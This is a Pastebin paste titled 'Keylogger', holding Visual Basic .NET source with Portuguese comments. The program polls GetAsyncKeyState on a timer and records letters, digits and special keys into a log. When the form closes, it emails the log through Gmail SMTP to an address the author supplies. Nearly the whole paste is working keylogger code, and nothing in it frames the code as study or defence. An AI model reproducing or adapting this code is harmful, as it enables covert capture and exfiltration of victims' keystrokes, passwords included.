username_leta

Keylogger

Oct 18th, 2016
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2.  
  3.  
  4.  
  5. Public Class Form1
  6.  
  7.     'declarar uma função
  8.    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  9.  
  10.  
  11.     Public Log As String
  12.  
  13.     'Defenir  email
  14.    Private Sub EnviaEmail()
  15.         Try
  16.             Dim Mail As New MailMessage
  17.             Mail.Subject = "Keylog"
  18.             Mail.To.Add("[email protected]")
  19.             Mail.From = New MailAddress("[email protected]")
  20.             Mail.Body = Log
  21.             Dim SMTP As New SmtpClient("smtp.gmail.com")
  22.             SMTP.EnableSsl = True
  23.             SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "sua_senha")
  24.             SMTP.Port = "587"
  25.             SMTP.Send(Mail)
  26.         Catch ex As Exception
  27.             MessageBox.Show("Erro : " + ex.Message)
  28.         End Try
  29.     End Sub
  30.  
  31.     'enviar email
  32.    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  33.         EnviaEmail()
  34.     End Sub
  35.  
  36.     'começar o processo
  37.    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  38.         Timer1.Start()
  39.     End Sub
  40.  
  41.  
  42.     'copiar tudo que e escrito no teclado
  43.    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  44.         If (GetAsyncKeyState(65)) Then
  45.             Log = Log + "A"
  46.         ElseIf (GetAsyncKeyState(66)) Then
  47.             Log = Log + "B"
  48.         ElseIf (GetAsyncKeyState(67)) Then
  49.             Log = Log + "C"
  50.         ElseIf (GetAsyncKeyState(68)) Then
  51.             Log = Log + "D"
  52.         ElseIf (GetAsyncKeyState(69)) Then
  53.             Log = Log + "E"
  54.         ElseIf (GetAsyncKeyState(70)) Then
  55.             Log = Log + "F"
  56.         ElseIf (GetAsyncKeyState(71)) Then
  57.             Log = Log + "G"
  58.         ElseIf (GetAsyncKeyState(72)) Then
  59.             Log = Log + "H"
  60.         ElseIf (GetAsyncKeyState(73)) Then
  61.             Log = Log + "I"
  62.         ElseIf (GetAsyncKeyState(74)) Then
  63.             Log = Log + "J"
  64.         ElseIf (GetAsyncKeyState(75)) Then
  65.             Log = Log + "K"
  66.         ElseIf (GetAsyncKeyState(76)) Then
  67.             Log = Log + "L"
  68.         ElseIf (GetAsyncKeyState(77)) Then
  69.             Log = Log + "M"
  70.         ElseIf (GetAsyncKeyState(78)) Then
  71.             Log = Log + "N"
  72.         ElseIf (GetAsyncKeyState(79)) Then
  73.             Log = Log + "O"
  74.         ElseIf (GetAsyncKeyState(80)) Then
  75.             Log = Log + "P"
  76.         ElseIf (GetAsyncKeyState(81)) Then
  77.             Log = Log + "Q"
  78.         ElseIf (GetAsyncKeyState(82)) Then
  79.             Log = Log + "R"
  80.         ElseIf (GetAsyncKeyState(83)) Then
  81.             Log = Log + "S"
  82.         ElseIf (GetAsyncKeyState(84)) Then
  83.             Log = Log + "T"
  84.         ElseIf (GetAsyncKeyState(85)) Then
  85.             Log = Log + "U"
  86.         ElseIf (GetAsyncKeyState(86)) Then
  87.             Log = Log + "V"
  88.         ElseIf (GetAsyncKeyState(87)) Then
  89.             Log = Log + "W"
  90.         ElseIf (GetAsyncKeyState(88)) Then
  91.             Log = Log + "X"
  92.         ElseIf (GetAsyncKeyState(89)) Then
  93.             Log = Log + "Y"
  94.         ElseIf (GetAsyncKeyState(90)) Then
  95.             Log = Log + "Z"
  96.         ElseIf (GetAsyncKeyState(48)) Then ' numeros 1 a 9
  97.            Log = Log + "0"
  98.         ElseIf (GetAsyncKeyState(49)) Then
  99.             Log = Log + "1"
  100.         ElseIf (GetAsyncKeyState(50)) Then
  101.             Log = Log + "2"
  102.         ElseIf (GetAsyncKeyState(51)) Then
  103.             Log = Log + "3"
  104.         ElseIf (GetAsyncKeyState(52)) Then
  105.             Log = Log + "4"
  106.         ElseIf (GetAsyncKeyState(53)) Then
  107.             Log = Log + "5"
  108.         ElseIf (GetAsyncKeyState(54)) Then
  109.             Log = Log + "6"
  110.         ElseIf (GetAsyncKeyState(55)) Then
  111.             Log = Log + "7"
  112.         ElseIf (GetAsyncKeyState(56)) Then
  113.             Log = Log + "8"
  114.         ElseIf (GetAsyncKeyState(57)) Then  'fim numeros
  115.            Log = Log + "9"
  116.         ElseIf (GetAsyncKeyState(96)) Then ' teclado numerico
  117.            Log = Log + "{0}"
  118.         ElseIf (GetAsyncKeyState(97)) Then
  119.             Log = Log + "{1}"
  120.         ElseIf (GetAsyncKeyState(98)) Then
  121.             Log = Log + "{2}"
  122.         ElseIf (GetAsyncKeyState(99)) Then
  123.             Log = Log + "{3}"
  124.         ElseIf (GetAsyncKeyState(100)) Then
  125.             Log = Log + "{4}"
  126.         ElseIf (GetAsyncKeyState(101)) Then
  127.             Log = Log + "{5}"
  128.         ElseIf (GetAsyncKeyState(102)) Then
  129.             Log = Log + "{6}"
  130.         ElseIf (GetAsyncKeyState(103)) Then
  131.             Log = Log + "{7}"
  132.         ElseIf (GetAsyncKeyState(104)) Then
  133.             Log = Log + "{8}"
  134.         ElseIf (GetAsyncKeyState(105)) Then ' fim teclado numerico
  135.            Log = Log + "{9}"
  136.         ElseIf (GetAsyncKeyState(106)) Then  ' operacoes *
  137.            Log = Log + "{Num*}"
  138.         ElseIf (GetAsyncKeyState(107)) Then
  139.             Log = Log + "{Num+}"
  140.         ElseIf (GetAsyncKeyState(13)) Then
  141.             Log = Log + "{Enter}"
  142.         ElseIf (GetAsyncKeyState(109)) Then
  143.             Log = Log + "{Num-}"
  144.         ElseIf (GetAsyncKeyState(110)) Then
  145.             Log = Log + "{Num.}"
  146.         ElseIf (GetAsyncKeyState(111)) Then 'fim operacoes /
  147.            Log = Log + "{Num/}"
  148.         ElseIf (GetAsyncKeyState(32)) Then
  149.             Log = Log + " "
  150.         ElseIf (GetAsyncKeyState(8)) Then
  151.             Log = Log + "{Backspace}"
  152.         ElseIf (GetAsyncKeyState(9)) Then
  153.             Log = Log + "{Tab}"
  154.         ElseIf (GetAsyncKeyState(16)) Then
  155.             Log = Log + "{Shift}"
  156.         ElseIf (GetAsyncKeyState(17)) Then
  157.             Log = Log + "{Control}"
  158.         ElseIf (GetAsyncKeyState(20)) Then
  159.             Log = Log + "{Caps}"
  160.         ElseIf (GetAsyncKeyState(27)) Then
  161.             Log = Log + "{Esc}"
  162.         ElseIf (GetAsyncKeyState(33)) Then
  163.             Log = Log + "{PGup}"
  164.         ElseIf (GetAsyncKeyState(34)) Then
  165.             Log = Log + "{PGdn}"
  166.         ElseIf (GetAsyncKeyState(35)) Then
  167.             Log = Log + "{End}"
  168.         ElseIf (GetAsyncKeyState(36)) Then
  169.             Log = Log + "{Home}"
  170.         ElseIf (GetAsyncKeyState(37)) Then
  171.             Log = Log + "{LArrow}"
  172.         ElseIf (GetAsyncKeyState(38)) Then
  173.             Log = Log + "{UArrow}"
  174.         ElseIf (GetAsyncKeyState(39)) Then
  175.             Log = Log + "{RArrow}"
  176.         ElseIf (GetAsyncKeyState(40)) Then
  177.             Log = Log + "{DArrow}"
  178.         ElseIf (GetAsyncKeyState(45)) Then
  179.             Log = Log + "{Insert}"
  180.         ElseIf (GetAsyncKeyState(46)) Then
  181.             Log = Log + "{Del}"
  182.         ElseIf (GetAsyncKeyState(144)) Then
  183.             Log = Log + "{NumLock}"
  184.         ElseIf (GetAsyncKeyState(188)) Then
  185.             Log = Log + "{,}"
  186.         ElseIf (GetAsyncKeyState(187)) Then
  187.             Log = Log + "{=}"
  188.         ElseIf (GetAsyncKeyState(186)) Then
  189.             Log = Log + "{;}"
  190.         ElseIf (GetAsyncKeyState(8)) Then
  191.             Log = Log + "{BS}"
  192.         ElseIf (GetAsyncKeyState(32)) Then
  193.             Log = Log + "{ }"
  194.         ElseIf (GetAsyncKeyState(112)) Then
  195.             Log = Log + "{F1}"
  196.         ElseIf (GetAsyncKeyState(113)) Then
  197.             Log = Log + "{F2}"
  198.         ElseIf (GetAsyncKeyState(114)) Then
  199.             Log = Log + "{F3}"
  200.         End If
  201.     End Sub
  202.  
  203.     'ver o que foi escrito
  204.    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  205.         rtb1.Text = Log
  206.     End Sub
  207.  
  208.    
  209. End Class
Advertisement
Add Comment
Please, Sign In to add comment